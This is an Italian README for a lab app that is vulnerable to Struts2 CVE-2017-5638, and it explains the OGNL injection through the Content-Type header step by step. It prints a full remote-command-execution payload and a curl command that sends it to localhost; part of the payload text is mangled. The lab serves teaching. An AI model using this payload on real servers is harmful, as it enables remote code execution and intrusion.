
Applicazione Struts2 vulnerabile a CVE-2017-5638. Spiega come funziona lo sfruttamento della vulnerabilità in relazione a OGNL e al parser JakartaMultiPart.
Questo materiale è inteso esclusivamente a scopo educativo e di ricerca. Non autorizzo né approvo alcun uso illegale o non etico dei contenuti o delle informazioni di questo progetto.
Per eseguire la webapp:
Per inviare comandi usa l'emulatore da riga di comando (Send.jar) progetto:
l'URL vuoto punta di default a http://localhost:8080/MSCybersecurity/exploit, devi trovarti sull'endpoint /exploit

Se vuoi modificare questo sorgente, il progetto usa il sistema di build Maven:
NVD CVE-2017-5638
L'aspetto intelligente di questa vulnerabilità è lo sfruttamento di OGNL (Object Graph Navigation Library).
OGNL usa espressioni per eseguire operazioni, e due delle espressioni consentite sono la capacità di invocare classi arbitrarie nel framework e di concatenare eventi. Guida di riferimento OGNL Language Guide.
Quindi, ad esempio, è possibile istanziare l'oggetto edu.uvu.ms.cybersecurity.Command con OGNL
// OGNL expression to instantiate Command obj
(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity'))
La classe edu.uvu.ms.cybersecurity.Command
// Command simply prints the cmd argument passed from the OGNL expression
public class Command {
private Object cmd;
public Command(Object cmd){
this.cmd = cmd;
}
private void print(){
System.out.println("OGNL recieved cmd: "+this.cmd);
}
public void print(String loc){
System.out.println("OGNL recieved cmd: "+this.cmd+" from "+loc);
}
}
Oppure, in un senso più pratico, si può invocare la classe java.lang.ProcessBuilder per eseguire comandi a livello di sistema
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())
Il payload seguente contiene un comando per invocare edu.uvu.ms.cybersecurity.Command e stampare nella console il comando inviato al server, per poi procedere all'esecuzione del comando. (per illustrare il concatenamento di eventi e l'invocazione di classi)
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Consegna il payload con CURL
curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" -X POST http://localhost:8080/MSCybersecurity/exploit
Una parte di questo payload è stata presa da Rapid7 GitHub
Il Jakarta MultiPart Parser:
Il problema è che il parser non esegue l'escape dei valori in ingresso nell'header Content-Type. Questo significa che un'espressione OGNL può essere inserita nell'header Content-Type. Quando l'header viene determinato come MultiPart, il parser lo invia a OgnlTextParser.class, che semplicemente interpreta l'espressione OGNL e finisce così per eseguire comandi arbitrari.
Quella che segue è un'analisi passo-passo di come questa vulnerabilità viene sfruttata.
Lo Struts2 Dispatcher: org.apache.struts2.dispatcher.Dispatcher
Lo Struts Dispatcher.class riceve la richiesta, determina che deve essere gestita dalla libreria JakartaMultiPart e invoca il costruttore MultiPartRequestWrapper()

L'espressione OGNL dall'header Content-Type viene poi passata al metodo parse(). Poiché le informazioni dell'header non sono valide, il parser solleva un'eccezione e chiama il metodo buildErrorMessage()

Il metodo buildErrorMessage() tenta di trovare un messaggio di errore appropriato da restituire all'utente; tuttavia, per farlo, deve usare il metodo findText() di LocalizedTextUtil.class

Il metodo findText di LocalizedTextUtil.class a sua volta chiama getDefaultMessage() e passa le informazioni del Content-Type

Il metodo getDefaultMessage() delega quindi al metodo translateVariables() di TextParseUtil.class

Il metodo translateVariables() di TextParseUtil.class delega al metodo evaluate di OgnlTextParser.class

Il risultato è che qualsiasi espressione OGNL viene ora eseguita
